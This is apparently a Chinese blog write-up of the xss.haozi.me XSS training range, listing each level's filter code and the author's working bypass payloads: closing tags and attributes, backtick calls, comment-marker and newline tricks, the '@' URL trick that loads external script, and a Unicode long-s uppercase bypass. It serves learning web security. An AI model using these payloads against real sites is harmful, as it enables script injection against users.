xss.haozi.me靶场

有很多有意思的xss,记录下

目标:弹出带1的弹窗

0x00:直接注入js

注入恶意js直接执行

<script>alert('1')</script>

0x01:闭合标签

闭合textarea标签

</textarea><input onclick=alert('1')><textarea>

0x02:闭合属性

闭合input的value属性

" onclick=alert('1') "

闭合拼接后

<input type="name" value="" onclick=alert('1') "">

0x03:过滤了括号

服务器端代码

function render (input) {
    const stripBracketsRe = /[()]/g
    input = input.replace(stripBracketsRe, '')
    return input
}

可以利用``来替代括号

<script>alert`1`</script>

0x04:编码绕过

这次同时过滤了括号和`,考虑使用编码绕过,使用编码时内容必须在标签属性内,所以不能使用<script>

请输入图片描述

<input onclick="alert(1)">

0x05:注释符绕过

function render (input) {
  input = input.replace(/-->/g, 'x_x')
  return '<!-- ' + input + ' -->'
}

我们通常觉得注释符为<!-- -->,其实还可以<!-- -- !>

--!><script>alert(1)</script>

0x06:换行

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

过滤auto(autofocus)、on开头=结尾(事件)、>(闭合标签)字符串,过滤十分强悍

比较有意思的是可以通过换行来绕过

onclick
=alert(1)

0x07:html容错性

这一关对正则表达式的掌握有较高的要求

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi;
  input = input.replace(stripTagsRe, '');
  return `<article>${input}</article>`;
}

/</?[^>]+>/gi含义:

  • 最外面的//表示包含的正则,g表示所有,i表示不区分大小写
  • /?表示可以左尖括号后可以出现0或1次/,表示标签的后半部分
  • [^>]+>表示只匹配第一个>

所以整体的含义是过滤标签里的内容,eg:

请输入图片描述

这里我们利用的是html的容错性,标签的后尖括号不写,可以自动补齐

请输入图片描述

0x08:双写绕过

这关过滤掉了script的后半部分,但可以双写绕过(发现双写位置在右尖括号前面,只有这个地方)

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

payload:

</style</style>>
<script>alert(1)</script>

看了其他人的wp:其实可以直接第一个要闭合的style标签右尖括号前加空格

0x09:指定特殊字符串+闭合属性

简单:payload

https://www.segmentfault.com" onerror=alert(1) "

0x0A:url跳转调用

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&')
            .replace(/'/g, ''')
            .replace(/"/g, '"')
            .replace(/</g, '<')
            .replace(/>/g, '>')
            .replace(/\//g, '/')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

过滤掉了一大堆特殊字符,很难了

wp上说需要调用外部js:https://xss.haozi.me/j.js

使用http://a.com@b.com到b.com的特性

payload:(谷歌不行,火狐可以)

https://www.segmentfault.com@xss.haozi.me/j.js

0x0B:大写处理

HTML大小写不敏感,js大小写敏感,js部分字母进行编码处理

<input onclick="alert(1)" >

0x0C:大写处理+过滤script

同上,直接加一个input或者img标签

0x0D:换行+注释符

过滤了<、"、'、等字符串,可以使用换行来绕过注释,-->来闭合

payload:


alert(1);
-->

0x0E:古英文字母

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

对包含尖括号的内容前面加个下划线,很像xss-labs里的类型,但是直接给在了h1标签中,很难绕过

既要考虑下划线又要考虑大写js无效

这题有点超纲,感觉针对性出题过强,不太现实,考察到了特殊字符: ſ (古英文, 拉丁文),大写是S,即能绕过下划线的添加,又能大写组成script

payload:

<ſcript src="https://www.segmentfault.com@xss.haozi.me/j.js"></script>

请输入图片描述

0x0F:事件执行js

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&')
            .replace(/'/g, ''')
            .replace(/"/g, '"')
            .replace(/</g, '<')
            .replace(/>/g, '>')
            .replace(/\//g, '/')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

这一关防御考虑的挺全面,但是和0x0A不同在于,拼接的内容到了标签事件中,即使被HTML转义编码了,最后也会被转为正确的,只要是写处出js执行代码即可,需要注意闭合引号和括号

');alert(1)('

0x10:变量赋值时执行表达式

这关直接window.data=alert(1),你可以去闭合,也可以直接赋给变量语句

可以尝试下这串代码,打开直接蹦弹窗

<script>
    var a = alert(1);
</script>>

网上很多都是先闭合对a的赋值,再单独写个alert

我这种写法仔细分析了下,觉得能弹窗的原理很有意思

  1. 首先alert(1)是个表达式,它的值是undefined
  2. 其次var a=alert(1),是将表达式赋给一个变量,先计算等号右边表达式值,即为undefined,执行时就弹窗了
  3. 最后赋给a,a的值未undefined

流程如下

请输入图片描述

请输入图片描述

0x11:JS转义

借鉴了另一个靶场,过滤十分强悍

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

虽然过滤挺多,但是在js中转义无效,如//最后还是//,起到注释作用

payload:

"); alert(1); //
变成了
var url = 'javascript:console.log("\"); alert(1); \/\/")'

0x12:转义 转义符

比较有意思

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

可以通过\\"来实现输出一个斜杠,因为转义符被转义,后面的直接js语句+注释

\"); alert(1) //

写在最后

学习过程中看到了美团的一篇关于XSS的文章https://tech.meituan.com/2018/09/27/fe-security.html

感慨啊,文章质量很不错,不愧是大公司下面的技术人员

文章最后给了几个国外写的靶场,很不错,这段时间练习下

这三四天一直再深入学习XSS漏洞,接触了不少靶场和练习。xss.haozi.me这个靶场给我的感觉是很有趣味性,绕过方式更加多样直观,既给出了输入窗口,有给出了拼接后的html页面代码,能够更好快速的分析绕过的方法,找到失败的原因;同时给出了源码,有利于更好地分析,在这个过程中对部分js代码函数有了更深的认识,比如replace、toUpperCase等,更多的是作者自己编写实现的过滤函数

整体特点:偏向编码,如HTML实体转义、JS编码、注释符等;对正则表达式有很多考察;题型多样具有一定连续性、知识丰富

最后修改:2022 年 12 月 27 日
如果觉得我的文章对你有用,请随意赞赏